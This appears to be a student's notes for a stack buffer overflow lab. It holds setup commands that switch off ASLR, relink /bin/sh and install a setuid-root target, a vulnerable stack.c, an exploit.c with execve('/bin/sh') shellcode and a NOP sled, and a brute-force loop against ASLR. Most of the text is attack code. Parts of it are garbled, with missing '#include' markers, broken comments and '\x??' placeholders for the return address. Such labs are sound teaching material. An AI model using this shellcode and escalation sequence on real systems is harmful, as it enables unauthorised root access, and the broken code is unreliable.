sudo sysctl -w kernel.randomize_va_space=0
sudo su
cd /bin
rm sh
ln -s zsh sh
/* stack.c /
/ This program has a buffer overflow vulnerability. /
/ Our task is to exploit this vulnerability */
include <stdlib.h>
include <stdio.h>
include <string.h>
int bof(char *str)
{
char buffer[12];//和原程序不一样的地方在此处,如果没有修改,最终结果会是return properly 无法攻击成功.获得root权限
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
gcc -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
/* exploit.c /
/ A program that creates a file containing code for launching shell*/
include <stdlib.h>
include <stdio.h>
include <string.h>
char shellcode[]=
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
sudo su
/sbin/sysctl -w kernel.randomize_va_space=2
sh -c "while [ 1 ]; do ./stack; done;"